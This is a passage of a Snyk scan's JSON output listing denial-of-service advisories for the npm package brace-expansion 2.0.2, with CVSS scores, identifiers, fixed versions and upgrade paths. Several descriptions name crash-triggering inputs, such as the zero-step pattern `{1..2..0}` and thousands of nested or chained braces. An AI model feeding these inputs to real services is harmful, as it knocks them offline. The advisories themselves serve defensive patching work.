"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
